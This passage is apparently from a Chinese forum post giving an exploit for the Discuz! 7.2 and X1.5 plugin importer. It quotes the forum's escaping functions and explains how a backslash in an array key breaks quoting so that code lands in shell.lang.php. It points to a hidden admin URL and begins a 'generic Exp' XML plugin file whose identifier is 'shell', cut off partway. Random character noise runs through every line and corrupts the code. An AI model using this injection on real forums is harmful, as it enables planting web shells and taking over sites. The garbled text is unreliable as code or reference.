, I$ e, v/ l2 X# Z0 r4 a, w/ _8 @ $string[$key] = daddslashes($val, $force);+ U" o% }; ^% }! {
071 I5 [: T+ g0 q1 E
}
6 Z. i" u; V Y08
$ p l5 G( R2 G, @- x2 M } else {
5 a1 b' G5 g2 T7 ?09" k1 T. X0 `7 [
$string = addslashes($string);
5 d1 o" p7 S. u9 }107 V; `0 F4 S" A6 G9 w
}5 c) e+ k; {' X O+ X
11
5 ^4 s# K3 m( o" a3 | }6 a1 _; [5 a x8 A9 y8 y
12$ b* c' `4 y, I+ B3 Z
return $string;4 S( Z) Z9 @( `2 z6 b2 l9 s) ]: h) ^7 B
13 [1 k8 Y: }& d
}
* D' k! P- s- Z: e4 g* p; p! VX1.5
: \) {4 |) `' q1 R4 @016 b0 B% i6 L7 ]- y( V
function daddslashes($string, $force = 1) {
! `+ c5 v, `) P; D7 \02: X& ~+ T+ d4 D# V' n% b6 |7 H
if(is_array($string)) {( e7 v% i- p& R6 q6 W6 M9 J+ d
03
9 A5 e* \+ {, @4 B! v foreach($string as $key => $val) {
! M! }2 N6 N' R4 I2 L k @04
& I- ]. ^9 I- w7 d" q* c unset($string[$key]);
. R( I- ]( m+ L& o7 `# x05
% T' m1 D& x \! I( {0 `% z9 S //过滤了key
L/ W0 B% b7 ~" t06/ y" v, H, Z3 C) g# L
$string[addslashes($key)] = daddslashes($val, $force);' K5 u$ G1 P. g2 G; X7 n* e- ?
07: A( P ~( T9 f0 B+ c- K) A
}( r5 I0 R) \" w$ g0 d
080 q8 R2 _; a9 d; S2 w/ T% r
} else {
2 {( C; H. Y7 ?! ^0 ^3 _8 D09
/ J" o2 R/ U' {$ C $string = addslashes($string);7 G& g3 e( L- T7 x
102 Y) E" `" j% U9 v
}
6 i, c5 B9 P, Q- p4 E11
' N- N" R/ p, ~6 O return $string;
) d* ?) f9 h+ W: u5 I12( h6 q2 O# M# Y' g7 u0 n; n; R
}# _7 U: I; ^. L: ^
还是看下shell.lang.php的文件格式., B" o) l& ^0 ]5 L7 l
1/ v% ^6 Q: a! E- b
<?php
2 [+ X# |2 v9 z- O; `( V9 y2
& B7 w4 @2 h, J1 N6 b! }$scriptlang['shell'] = array(0 X+ w7 l! }: q, n
3' I: \' z4 L3 t4 z' w
'a' => '1',
' _$ Z' N6 Q! w( b4 E' Z6 D$ Q0 B5 L4
) r% A" ~3 C5 P$ V4 G _2 Y/ {5 z 'b' => '2',- N1 a% Z+ Z- k9 S# D
5" g* Z: r: j5 c N' J ^
);
! g& \3 _! D+ t# U, @6/ ?7 \ y# J2 w9 T7 F/ ]
" N& a A/ d9 y, u1 n1 ~( A* M$ X0 h7
8 @4 [% @ U7 y" t$ B2 n. w?>
; ?$ D# x) i% D7.2版本没有过滤Key,所以直接用\废掉单引号.
4 ~" {/ k9 T" N! l- b6 LX1.5,单引号转义后变为\',再被替换一次',还是留下了\
9 ?. _) n+ ]! O7 R5 @4 n' X: Q6 T
1 ~4 j/ k: }9 S' y而$v在两个版本中过滤相同,比较通用.8 a5 ?" ^" h8 N- _0 b$ r
+ Q- h9 X! S3 t' m( G
X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes&action=plugins添加插件: C0 U J) P' f+ ?
3 X7 V+ g2 h. K* r. D$v通用Exp:
8 P/ t/ K( t. }0 _" J+ G01
2 \% k# n5 f* q C5 o<?xml version="1.0" encoding="ISO-8859-1"?>
2 z. k5 r$ D, ], {# W020 Q' C6 D' t. U; u
<root>& w9 e7 k' \2 g& y1 j. J" d
03
' |8 N* i) l2 u4 L; z8 u/ v" k$ [ <item id="Title"><![CDATA[Discuz! Plugin]]></item>
9 O8 W% I7 e% `* c04
& H' T* o9 B3 d1 H <item id="Version"><![CDATA[7.2]]></item>" b% ?) M- \) ~5 o5 D" m
053 b5 Z* w! B( z* S% ]; r
<item id="Time"><![CDATA[2011-03-16 15:57]]></item>
# T# |! g3 X4 p$ a06. s$ G3 d5 b# j4 S# _
<item id="From"><![CDATA[Discuz! Board (http://localhost/Discuz_7.2_SC_UTF8/upload/)]]></item>- k. ?! D: c3 F, b* w
07 k, E) @3 h9 u2 v) Q
<item id="Data">
* d$ f( [# Y( p$ i080 v% w1 G. E' E
<item id="plugin"># N4 O4 m, p" e) \) G
09
& w" ^: {: p& ` <item id="available"><![CDATA[0]]></item>; @& x* a4 M( r3 Q9 Y
10/ m4 L# Z# I0 e! O' G
<item id="adminid"><![CDATA[0]]></item>
( V3 x2 }/ O) f5 M: w! P11
5 K" ?$ V/ f; _, c$ b <item id="name"><![CDATA[www]]></item>
3 D: q+ L. I, z8 c1 @8 M12
9 i+ [8 u3 F( r <item id="identifier"><![CDATA[shell]]></item>
2 A" N3 s. z5 ?13
9 {. D* t- g5 y9 I! T) W6 p <item id="description"><![CDATA[]]></item>$ u; e7 P# c( R6 S6 l. O% b
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最后的最后,加积分太不靠谱了,管理员能免费送包盐不? |